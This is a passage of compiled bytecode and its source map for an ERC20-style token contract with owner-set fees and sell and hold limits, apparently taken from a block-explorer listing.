e01b81526001600160a01b039182166004820152919250600091908616906370a0823190602401602060405180830381865afa15801562002ad0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002af6919062003fc4565b9050306001600160a01b0387160362002b24576103e862002b1884836200411e565b11965050505050505090565b6103e862002b1885846200411e565b600d5460ff16801562002b4857506000600f54115b156200171f57600f548111156200171f5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f662073656c6c20616d6f756e74204c696d697400000000604482015260640162001168565b603354600160a01b900460ff161562002bb757565b30600090815260208190526040902054602e5481106200171f576000601e548262002be3919062004134565b9050620011ee81620030d5565b6000601d54602c548362002863919062004157565b600d5460ff1615620011ee5760105415620011ee576010546040516370a0823160e01b81526001600160a01b038416600482015230906370a0823190602401602060405180830381865afa15801562002c62573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002c88919062003fc4565b62002c94908362003fae565b1115620011ee5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f6620686f6c6420616d6f756e74204c696d697400000000604482015260640162001168565b6001600160a01b03831662002d4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840162001168565b6001600160a01b03821662002dae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840162001168565b6200136f83838362002394565b43601854601b5462002dce919062003fae565b111562002dd757565b601754479081101562002de75750565b601454604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd9160048083019260209291908290030181865afa15801562002e32573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002e58919062003fc4565b601154909150600090819081908180805a90505b6019548310801562002e7d57508382105b15620030035783601a541062002e98576000601a5562003003565b6011601a548154811062002eb05762002eb062003f66565b60009182526020808320909101546001600160a01b0316808352601390915260409091205490975060ff1662002fb8576014546040516370a0823160e01b81526001600160a01b038981166004830152909116906370a0823190602401602060405180830381865afa15801562002f2b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002f51919062003fc4565b9550601654861062002fb8578762002f6a878b62004157565b62002f76919062004134565b9450841562002fb8576040516001600160a01b0388169086156108fc029087906000818181858888f1935050505015801562002fb6573d6000803e3d6000fd5b505b5a62002fc590826200411e565b62002fd1908462003fae565b92505a601a8054919250600062002fe88362003f92565b9190505550818062002ffa9062003f92565b92505062002e6c565b505043601b5550505050505050565b6001600160a01b0382166200306a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162001168565b80600260008282546200307e919062003fae565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6033805460ff60a01b1916600160a01b179055602a54600090156200312257601d54602a5462003106908462004157565b62003112919062004134565b9050620031223060018362002394565b602854600090156200316f57601d5460285462003140908562004157565b6200314c919062004134565b6032546033549192506200316f9183916001600160a01b03908116911662003444565b6000816200317e84866200411e565b6200318a91906200411e565b905060006027541180620031a057506000602954115b8015620031ad5750600081115b156200343157603354620031cc9082906001600160a01b0316620037be565b6008546033546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a0823190602401602060405180830381865afa1580156200321e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003244919062003fc4565b905060008060275411156200330b5760295460275462003265919062003fae565b60275462003274908462004157565b62003280919062004134565b6008546033546032546040516323b872dd60e01b81526001600160a01b03928316600482015290821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af1158015620032e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620033099190620040de565b505b808211156200342e576008546033546001600160a01b03918216916323b872dd9116306200333a85876200411e565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156200338f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620033b59190620040de565b506008546040516370a0823160e01b81523060048201526200342e916001600160a01b0316906370a0823190602401602060405180830381865afa15801562003402573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003428919062003fc4565b6200382a565b50505b50506033805460ff60a01b191690555050565b60006200345360028562004134565b9050600060076001815481106200346e576200346e62003f66565b60009182526020822001546040516370a0823160e01b81526001600160a01b038681166004830152909116925082906370a0823190602401602060405180830381865afa158015620034c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620034ea919062003fc4565b600654604051635c11d79560e01b81529192506001600160a01b031690635c11d79590620035279086906000906007908a904290600401620041d9565b600060405180830381600087803b1580156200354257600080fd5b505af115801562003557573d6000803e3d6000fd5b50506040516370a0823160e01b81526001600160a01b03878116600483015260009350851691506370a0823190602401602060405180830381865afa158015620035a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620035cb919062003fc4565b90506000620035db83836200411e565b6040516323b872dd60e01b81526001600160a01b03888116600483015230602483015260448201839052919250908516906323b872dd906064016020604051808303816000875af115801562003635573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200365b9190620040de565b50600081118015620036785750600062003676868a6200411e565b115b15620037b457600654600780546001600160a01b039092169163e8e337009190600090620036aa57620036aa62003f66565b600091825260209091200154600780546001600160a01b03909216916001908110620036da57620036da62003f66565b6000918252602090912001546001600160a01b0316620036fb898d6200411e565b856000808e6200370d42600962003fae565b60405160e08a901b6001600160e01b03191681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e4810191909152610104016060604051808303816000875af11580156200378a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620037b0919062004217565b5050505b5050505050505050565b600654604051635c11d79560e01b81526001600160a01b0390911690635c11d79590620037fa90859060009060079087904290600401620041d9565b600060405180830381600087803b1580156200381557600080fd5b505af115801562001d0a573d6000803e3d6000fd5b600854604051602481018390526000916001600160a01b03169060440160408051601f198184030181529181526020820180516001600160e01b0316632e1a7d4d60e01b179052516200387e919062004246565b6000604051808303816000865af19150503d8060008114620038bd576040519150601f19603f3d011682016040523d82523d6000602084013e620038c2565b606091505b5050905080620011ee5760405162461bcd60e51b815260206004820152601960248201527f5769746864726177616c206f662057455448206661696c656400000000000000604482015260640162001168565b610147806200426583390190565b8280548282559060005260206000209081019282156200397b579160200282015b828111156200397b57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062003944565b50620039899291506200398d565b5090565b5b808211156200398957600081556001016200398e565b60005b83811015620039c1578181015183820152602001620039a7565b50506000910152565b6020815260008251806020840152620039eb816040850160208701620039a4565b601f01601f19169190910160400192915050565b6001600160a01b03811681146200171f57600080fd5b6000806040838503121562003a2957600080fd5b823562003a3681620039ff565b946020939093013593505050565b60006020828403121562003a5757600080fd5b5035919050565b80151581146200171f57600080fd5b6000806000806080858703121562003a8457600080fd5b843562003a918162003a5e565b966020860135965060408601359560600135945092505050565b60008060006060848603121562003ac157600080fd5b833562003ace81620039ff565b9250602084013562003ae081620039ff565b929592945050506040919091013590565b60008060006060848603121562003b0757600080fd5b8335925060208401359150604084013562003b2281620039ff565b809150509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171562003b6f5762003b6f62003b2d565b604052919050565b600067ffffffffffffffff82111562003b945762003b9462003b2d565b5060051b60200190565b600082601f83011262003bb057600080fd5b8135602062003bc962003bc38362003b77565b62003b43565b82815260059290921b8401810191818101908684111562003be957600080fd5b8286015b8481101562003c1157803562003c0381620039ff565b835291830191830162003bed565b509695505050505050565b60006020828403121562003c2f57600080fd5b813567ffffffffffffffff81111562003c4757600080fd5b62003c558482850162003b9e565b949350505050565b60006020828403121562003c7057600080fd5b8135620010f381620039ff565b6000806040838503121562003c9157600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b8181101562003ce35783516001600160a01b03168352928401929184019160010162003cbc565b50909695505050505050565b6000806040838503121562003d0357600080fd5b823567ffffffffffffffff81111562003d1b57600080fd5b62003d298582860162003b9e565b925050602083013562003d3c8162003a5e565b809150509250929050565b6000806040838503121562003d5b57600080fd5b823562003d6881620039ff565b9150602083013562003d3c8162003a5e565b6000806040838503121562003d8e57600080fd5b823562003d9b81620039ff565b9150602083013562003d3c81620039ff565b6000806000806080858703121562003dc457600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121562003df457600080fd5b82359150602083013567ffffffffffffffff81111562003e1357600080fd5b62003e218582860162003b9e565b9150509250929050565b6000806040838503121562003e3f57600080fd5b823567ffffffffffffffff8082111562003e5857600080fd5b818501915085601f83011262003e6d57600080fd5b8135602062003e8062003bc38362003b77565b82815260059290921b8401810191818101908984111562003ea057600080fd5b948201945b8386101562003ec05785358252948201949082019062003ea5565b9650508601359250508082111562003ed757600080fd5b5062003e218582860162003b9e565b600181811c9082168062003efb57607f821691505b60208210810362003f1c57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526024908201527f4e6f4566666563743a2063616c6c6572206973206e6f7420746865206566666560408201526331ba37b960e11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820162003fa75762003fa762003f7c565b5060010190565b8082018082111562001091576200109162003f7c565b60006020828403121562003fd757600080fd5b5051919050565b6000815480845260208085019450836000528060002060005b838110156200401e5781546001600160a01b03168752958201956001918201910162003ff7565b509495945050505050565b82815260406020820152600062003c55604083018462003fde565b600060208083850312156200405857600080fd5b825167ffffffffffffffff8111156200407057600080fd5b8301601f810185136200408257600080fd5b80516200409362003bc38262003b77565b81815260059190911b82018301908381019087831115620040b357600080fd5b928401925b82841015620040d357835182529284019290840190620040b8565b979650505050505050565b600060208284031215620040f157600080fd5b8151620010f38162003a5e565b6000602082840312156200411157600080fd5b8151620010f381620039ff565b8181038181111562001091576200109162003f7c565b6000826200415257634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141762001091576200109162003f7c565b80516001600160701b03811681146200418957600080fd5b919050565b600080600060608486031215620041a457600080fd5b620041af8462004171565b9250620041bf6020850162004171565b9150604084015163ffffffff8116811462003b2257600080fd5b85815284602082015260a060408201526000620041fa60a083018662003fde565b6001600160a01b0394909416606083015250608001529392505050565b6000806000606084860312156200422d57600080fd5b8351925060208401519150604084015190509250925092565b600082516200425a818460208701620039a4565b919091019291505056fe608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea26469706673582212204722655dd8445bb2b0c1927cd39034b5b5fa33a3f7f303ed7ee2ec0ec39f133264736f6c63430008110033a26469706673582212206aa780295686b1940231a492dc348613f0aaebe9fbe10cdd3097392bd1ea125464736f6c63430008110033
Deployed Bytecode Sourcemap
27036:1808:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2997:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3785:167;;;;;;;;;;-1:-1:-1;3785:167:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;3785:167:0;1126:187:1;14547:35:0;;;;;;;;;;;;;;;;;;;1464:25:1;;;1452:2;1437:18;14547:35:0;1318:177:1;17505:104:0;;;;;;;;;;-1:-1:-1;17505:104:0;;;;;:::i;:::-;;:::i;:::-;;3264:92;;;;;;;;;;-1:-1:-1;3342:12:0;;3264:92;;19529:33;;;;;;;;;;-1:-1:-1;19529:33:0;;;;-1:-1:-1;;;;;19529:33:0;;;;;;-1:-1:-1;;;;;1870:32:1;;;1852:51;;1840:2;1825:18;19529:33:0;1685:224:1;13327:218:0;;;;;;;;;;-1:-1:-1;13327:218:0;;;;;:::i;:::-;;:::i;3958:::-;;;;;;;;;;-1:-1:-1;3958:218:0;;;;;:::i;:::-;;:::i;18894:30::-;;;;;;;;;;;;;;;;14627:27;;;;;;;;;;;;;;;;14277:24;;;;;;;;;;-1:-1:-1;14277:24:0;;;;;:::i;:::-;;:::i;19075:30::-;;;;;;;;;;;;;;;;14661:34;;;;;;;;;;;;;;;;14462;;;;;;;;;;;;;;;;13751:74;;;;;;;;;;-1:-1:-1;13808:10:0;;13822:1;-1:-1:-1;13808:15:0;13751:74;;18826:24;;;;;;;;;;;;;;;;19445:17;;;;;;;;;;;;;;;;13674:71;;;;;;;;;;-1:-1:-1;13729:10:0;;13742:1;-1:-1:-1;13674:71:0;;3181:77;;;;;;;;;;-1:-1:-1;3181:77:0;;3254:2;3299:36:1;;3287:2;3272:18;3181:77:0;3157:184:1;26482:138:0;;;;;;;;;;-1:-1:-1;26482:138:0;;;;;:::i;:::-;;:::i;17810:139::-;;;;;;;;;;-1:-1:-1;17810:139:0;;;;;:::i;:::-;;:::i;19287:24::-;;;;;;;;;;;;;;;;4182:204;;;;;;;;;;-1:-1:-1;4182:204:0;;;;;:::i;:::-;;:::i;19037:31::-;;;;;;;;;;;;;;;;18475:93;;;;;;;;;;-1:-1:-1;18475:93:0;;;;;:::i;:::-;-1:-1:-1;;;;;18548:12:0;18524:4;18548:12;;;:6;:12;;;;;;;;;18475:93;19469:17;;;;;;;;;;;;;;;;7202:20;;;;;;;;;;-1:-1:-1;7202:20:0;;;;-1:-1:-1;;;;;7202:20:0;;;17282:217;;;;;;;;;;-1:-1:-1;17282:217:0;;;;;:::i;:::-;;:::i;26397:79::-;;;;;;;;;;-1:-1:-1;26397:79:0;;;;;:::i;:::-;;:::i;19350:21::-;;;;;;;;;;;;;;;;17615:96;;;;;;;;;;-1:-1:-1;17615:96:0;;;;;:::i;:::-;;:::i;13831:86::-;;;;;;;;;;-1:-1:-1;13831:86:0;;;;;:::i;:::-;;:::i;16928:77::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;19182:30::-;;;;;;;;;;;;;;;;13148:84;;;;;;;;;;;;;:::i;18306:163::-;;;;;;;;;;-1:-1:-1;18306:163:0;;;;;:::i;:::-;;:::i;19493:29::-;;;;;;;;;;-1:-1:-1;19493:29:0;;;;-1:-1:-1;;;;;19493:29:0;;;3362:111;;;;;;;;;;-1:-1:-1;3362:111:0;;;;;:::i;:::-;-1:-1:-1;;;;;3453:18:0;3436:7;3453:18;;;;;;;;;;;;3362:111;11075:87;;;;;;;;;;;;;:::i;24681:493::-;;;;;;;;;;;;;:::i;13642:25::-;;;;;;;;;;;;;;;;10876:71;;;;;;;;;;-1:-1:-1;10939:6:0;;-1:-1:-1;;;;;10939:6:0;10876:71;;14503:37;;;;;;;;;;;;;;;;3087:88;;;;;;;;;;;;;:::i;11857:95::-;;;;;;;;;;-1:-1:-1;11857:95:0;;;;;:::i;:::-;;:::i;18209:91::-;;;;;;;;;;-1:-1:-1;18209:91:0;;;;;:::i;:::-;;:::i;26009:154::-;;;;;;;;;;-1:-1:-1;26009:154:0;;;;;:::i;:::-;;:::i;19318:25::-;;;;;;;;;;;;;;;;13238:83;;;;;;;;;;;;;:::i;7318:200::-;;;;;;;;;;-1:-1:-1;7318:200:0;;;;;:::i;:::-;;:::i;14407:23::-;;;;;;;;;;-1:-1:-1;14407:23:0;;;;-1:-1:-1;;;;;14407:23:0;;;4392:357;;;;;;;;;;-1:-1:-1;4392:357:0;;;;;:::i;:::-;;:::i;7113:19::-;;;;;;;;;;-1:-1:-1;7113:19:0;;;;-1:-1:-1;;;;;7113:19:0;;;3479:159;;;;;;;;;;-1:-1:-1;3479:159:0;;;;;:::i;:::-;;:::i;17717:87::-;;;;;;;;;;-1:-1:-1;17717:87:0;;;;;:::i;:::-;;:::i;17011:114::-;;;;;;;;;;-1:-1:-1;17011:114:0;;;;;:::i;:::-;;:::i;14098:79::-;;;;;;;;;;;;;:::i;19412:26::-;;;;;;;;;;-1:-1:-1;19412:26:0;;;;-1:-1:-1;;;;;19412:26:0;;;14589:31;;;;;;;;;;;;;;;;25505:297;;;;;;;;;;-1:-1:-1;25505:297:0;;;;;:::i;:::-;;:::i;19112:26::-;;;;;;;;;;;;;;;;18857:30;;;;;;;;;;;;;;;;26626:151;;;;;;;;;;-1:-1:-1;26626:151:0;;;;;:::i;:::-;;:::i;18931:29::-;;;;;;;;;;;;;;;;14437:18;;;;;;;;;;-1:-1:-1;14437:18:0;;;;-1:-1:-1;;;;;14437:18:0;;;26783:168;;;;;;;;;;-1:-1:-1;26783:168:0;;;;;:::i;:::-;;:::i;14006:86::-;;;;;;;;;;;;;:::i;14355:45::-;;;;;;;;;;-1:-1:-1;14355:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19378:27;;;;;;;;;;;;;;;;14308:40;;;;;;;;;;-1:-1:-1;14308:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19145:30;;;;;;;;;;;;;;;;18967:25;;;;;;;;;;;;;;;;3644:135;;;;;;;;;;-1:-1:-1;3644:135:0;;;;;:::i;:::-;;:::i;28463:378::-;;;;;;;;;;;;;:::i;25869:134::-;;;;;;;;;;-1:-1:-1;25869:134:0;;;;;:::i;:::-;;:::i;18796:23::-;;;;;;;;;;;;;;;;11168:176;;;;;;;;;;-1:-1:-1;11168:176:0;;;;;:::i;:::-;;:::i;19219:29::-;;;;;;;;;;;;;;;;25215:284;;;;;;;;;;-1:-1:-1;25215:284:0;;;;;:::i;:::-;;:::i;13923:77::-;;;;;;;;;;;;;:::i;7139:21::-;;;;;;;;;;-1:-1:-1;7139:21:0;;;;-1:-1:-1;;;;;7139:21:0;;;19255:25;;;;;;;;;;;;;;;;18999:31;;;;;;;;;;;;;;;;11958:144;;;;;;;;;;-1:-1:-1;11958:144:0;;;;;:::i;:::-;;:::i;17131:145::-;;;;;;;;;;-1:-1:-1;17131:145:0;;;;;:::i;:::-;;:::i;2997:84::-;3051:13;3074:5;3067:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2997:84;:::o;3785:167::-;3868:4;2525:10;3905:32;2525:10;3921:7;3930:6;3905:8;:32::i;:::-;3946:4;3939:11;;;3785:167;;;;;:::o;17505:104::-;17559:20;:18;:20::i;:::-;17581;:26;17505:104::o;13327:218::-;13429:17;:15;:17::i;:::-;13448:9;:22;;-1:-1:-1;;13448:22:0;;;;;;;;;;;13472:9;:21;;;;13495:10;:23;13520:10;:23;13327:218::o;3958:::-;4055:4;2525:10;4094:38;4110:4;2525:10;4125:6;4094:15;:38::i;:::-;4134:27;4144:4;4150:2;4154:6;4134:9;:27::i;:::-;4170:4;4163:11;;;3958:218;;;;;;:::o;14277:24::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14277:24:0;;-1:-1:-1;14277:24:0;:::o;26482:138::-;11670:9;;-1:-1:-1;;;;;11670:9:0;2525:10;11670:25;;:52;;-1:-1:-1;10939:6:0;;-1:-1:-1;;;;;10939:6:0;2525:10;11699:23;11670:52;11662:101;;;;-1:-1:-1;;;11662:101:0;;;;;;;:::i;:::-;;;;;;;;;26572:2:::1;:8:::0;;;;26582:2:::1;:8:::0;26592:11:::1;:26:::0;;-1:-1:-1;;;;;;26592:26:0::1;-1:-1:-1::0;;;;;26592:26:0;;::::1;::::0;;;::::1;::::0;;26482:138::o;17810:139::-;17871:20;:18;:20::i;:::-;17898:6;17893:55;17909:4;:11;17907:1;:13;17893:55;;;17927:19;17938:4;17943:1;17938:7;;;;;;;;:::i;:::-;;;;;;;17927:10;:19::i;:::-;17921:3;;;;:::i;:::-;;;;17893:55;;;;17810:139;:::o;4182:204::-;4270:4;2525:10;4307:64;2525:10;4323:7;4360:10;4332:25;2525:10;4323:7;4332:9;:25::i;:::-;:38;;;;:::i;:::-;4307:8;:64::i;17282:217::-;17383:20;:18;:20::i;:::-;17405:19;:42;;;;17449:22;:48;17282:217::o;26397:79::-;11670:9;;-1:-1:-1;;;;;11670:9:0;2525:10;11670:25;;:52;;-1:-1:-1;10939:6:0;;-1:-1:-1;;;;;10939:6:0;2525:10;11699:23;11670:52;11662:101;;;;-1:-1:-1;;;11662:101:0;;;;;;;:::i;:::-;26456:12:::1;:18:::0;26397:79::o;17615:96::-;17665:20;:18;:20::i;:::-;17687:16;:22;17615:96::o;13831:86::-;13873:26;:24;:26::i;:::-;13901:10;:14;13831:86::o;16928:77::-;16970:16;16996:7;16989:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16989:14:0;;;;;;;;;;;;;;;;;;;;;;16928:77;:::o;13148:84::-;13179:17;:15;:17::i;:::-;13202:9;;;;13198:32;;;13213:9;:17;;-1:-1:-1;;13213:17:0;;;13198:32;13148:84::o;18306:163::-;10852:13;:11;:13::i;:::-;18388:6:::1;18383:79;18399:4;:11;18397:1;:13;18383:79;;;18431:19;18439:4;18444:1;18439:7;;;;;;;;:::i;:::-;;;;;;;18448:1;18431:7;:19::i;:::-;18411:3:::0;::::1;::::0;::::1;:::i;:::-;;;;18383:79;;;;18306:163:::0;;:::o;11075:87::-;10852:13;:11;:13::i;:::-;11130:30:::1;11157:1;11130:18;:30::i;24681:493::-:0;24760:16;;24742:15;;:34;;;;:::i;:::-;24724:15;:52;24823:16;;24805:15;;:34;;24823:16;24805:34;:::i;:::-;24787:15;:52;24884:15;;24867:14;;:32;;24884:15;24867:32;:::i;:::-;24850:14;:49;24936:11;;24923:10;;:24;;24936:11;24923:24;:::i;:::-;24910:10;:37;25023:10;;25006:14;;24988:15;;24970;;:33;;24988:15;24970:33;:::i;:::-;:50;;;;:::i;:::-;:63;;;;:::i;:::-;24958:9;:75;25113:11;;25095:15;;25076:16;;25057;;:35;;25076:16;25057:35;:::i;:::-;:53;;;;:::i;:::-;:67;;;;:::i;:::-;25044:10;:80;;;25144:9;;:22;;25044:80;25144:22;:::i;:::-;25135:6;:31;24681:493::o;3087:88::-;3143:13;3166:7;3159:14;;;;;:::i;11857:95::-;11908:20;:18;:20::i;:::-;-1:-1:-1;;;;;11930:16:0;;;;;;;;:9;:16;;;;;:20;;-1:-1:-1;;11930:20:0;;;;;;;;;;11857:95::o;18209:91::-;10852:13;:11;:13::i;:::-;-1:-1:-1;;;;;18276:12:0;;;::::1;;::::0;;;:6:::1;:12;::::0;;;;:16;;-1:-1:-1;;18276:16:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18209:91::o;26009:154::-;11670:9;;-1:-1:-1;;;;;11670:9:0;2525:10;11670:25;;:52;;-1:-1:-1;10939:6:0;;-1:-1:-1;;;;;10939:6:0;2525:10;11699:23;11670:52;11662:101;;;;-1:-1:-1;;;11662:101:0;;;;;;;:::i;:::-;26129:31:::1;::::0;-1:-1:-1;;;26129:31:0;;26154:4:::1;26129:31;::::0;::::1;1852:51:1::0;26093:68:0::1;::::0;26109:6;;26117:10;;-1:-1:-1;;;;;26129:16:0;::::1;::::0;::::1;::::0;1825:18:1;;26129:31:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;13238:83::-:0;13268:17;:15;:17::i;:::-;13292:9;;;;13287:32;;13303:9;:16;;-1:-1:-1;;13303:16:0;13315:4;13303:16;;;13238:83::o;7318:200::-;7418:6;;:45;;-1:-1:-1;;;7418:45:0;;7384:7;;;;-1:-1:-1;;;;;7418:6:0;;;;:20;;:45;;7439:12;;7453:9;;7418:45;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;7418:45:0;;;;;;;;;;;;:::i;:::-;7394:69;;7486:1;7469:7;:14;:18;7465:41;;;7496:7;7504:1;7496:10;;;;;;;;:::i;:::-;;;;;;;7489:17;;;7318:200;;;:::o;7465:41::-;-1:-1:-1;7515:1:0;;7318:200;-1:-1:-1;;7318:200:0:o;4392:357::-;4485:4;2525:10;4485:4;4549:25;2525:10;4566:7;4549:9;:25::i;:::-;4522:52;;4604:15;4584:16;:35;;4576:85;;;;-1:-1:-1;;;4576:85:0;;14584:2:1;4576:85:0;;;14566:21:1;14623:2;14603:18;;;14596:30;14662:34;14642:18;;;14635:62;-1:-1:-1;;;14713:18:1;;;14706:35;14758:19;;4576:85:0;14382:401:1;4576:85:0;4674:60;4683:5;4690:7;4718:15;4699:16;:34;4674:8;:60::i;:::-;-1:-1:-1;4743:4:0;;4392:357;-1:-1:-1;;;;4392:357:0:o;3479:159::-;3558:4;2525:10;3595:28;2525:10;3612:2;3616:6;3595:9;:28::i;17717:87::-;17764:20;:18;:20::i;:::-;17786:16;17797:4;17786:10;:16::i;:::-;17717:87;:::o;17011:114::-;17073:20;:18;:20::i;:::-;-1:-1:-1;;;;;17095:19:0;;;;;;;;:13;:19;;;;;:28;;-1:-1:-1;;17095:28:0;;;;;;;;;;17011:114::o;14098:79::-;14133:26;:24;:26::i;:::-;14174:1;14161:10;:14;14098:79::o;25505:297::-;10852:13;:11;:13::i;:::-;25645:16:::1;:36:::0;;;25683:16:::1;:36:::0;;;25721:15:::1;:34:::0;;;25757:11:::1;:26:::0;;;25785:15:::1;:13;:15::i;:::-;25505:297:::0;;;;:::o;26626:151::-;26693:6;26688:88;26709:2;:9;26705:1;:13;26688:88;;;26726:48;2525:10;26760:2;26763:1;26760:5;;;;;;;;:::i;:::-;;;;;;;26767:6;26726:19;:48::i;:::-;26720:3;;;;:::i;:::-;;;;26688:88;;26783:168;26864:6;26859:91;26880:2;:9;26876:1;:13;26859:91;;;26897:51;2525:10;26931:2;26934:1;26931:5;;;;;;;;:::i;:::-;;;;;;;26938:6;26945:1;26938:9;;;;;;;;:::i;:::-;;;;;;;26897:19;:51::i;:::-;26891:3;;;;:::i;:::-;;;;26859:91;;14006:86;14037:26;:24;:26::i;:::-;14078:12;14065:10;:25;14006:86::o;3644:135::-;-1:-1:-1;;;;;3750:18:0;;;3733:7;3750:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3644:135::o;28463:378::-;10852:13;:11;:13::i;:::-;28532:19:::1;28591:42;28674;28729:104;28532:19:::0;28591:42;28674;28784::::1;28828:4;28729:18;:104::i;25869:134::-:0;11670:9;;-1:-1:-1;;;;;11670:9:0;2525:10;11670:25;;:52;;-1:-1:-1;10939:6:0;;-1:-1:-1;;;;;10939:6:0;2525:10;11699:23;11670:52;11662:101;;;;-1:-1:-1;;;11662:101:0;;;;;;;:::i;:::-;25966:35:::1;::::0;-1:-1:-1;;;25966:35:0;;-1:-1:-1;;;;;14980:32:1;;;25966:35:0::1;::::0;::::1;14962:51:1::0;15029:18;;;15022:34;;;25966:15:0;::::1;::::0;::::1;::::0;14935:18:1;;25966:35:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;11168:176::-:0;10852:13;:11;:13::i;:::-;-1:-1:-1;;;;;11247:22:0;::::1;11239:73;;;::::0;-1:-1:-1;;;11239:73:0;;15519:2:1;11239:73:0::1;::::0;::::1;15501:21:1::0;15558:2;15538:18;;;15531:30;15597:34;15577:18;;;15570:62;-1:-1:-1;;;15648:18:1;;;15641:36;15694:19;;11239:73:0::1;15317:402:1::0;11239:73:0::1;11314:28;11333:8;11314:18;:28::i;25215:284::-:0;10852:13;:11;:13::i;:::-;25350:15:::1;:34:::0;;;25386:15:::1;:34:::0;;;25422:14:::1;:32:::0;;;25456:10:::1;:24:::0;;;25482:15:::1;:13;:15::i;13923:77::-:0;13956:26;:24;:26::i;:::-;13997:1;13984:10;:14;13923:77::o;11958:144::-;12019:20;:18;:20::i;:::-;12046:6;12041:60;12057:5;:12;12055:1;:14;12041:60;;;12098:1;12076:9;:19;12086:5;12092:1;12086:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;12076:19:0;;;;;;;;;;;-1:-1:-1;12076:19:0;:23;;-1:-1:-1;;12076:23:0;;;;;;;;;;12070:3;;;;:::i;:::-;;;;12041:60;;17131:145;17200:20;:18;:20::i;:::-;17222:9;:30;;-1:-1:-1;;;;;17222:30:0;;;-1:-1:-1;;;;;;17222:30:0;;;;;;;17254:4;:20;;;;;;;;;;;17131:145::o;9462:386::-;9556:6;:25;;-1:-1:-1;;;;;;9556:25:0;-1:-1:-1;;;;;9556:25:0;;;;;;;;9608:16;;;-1:-1:-1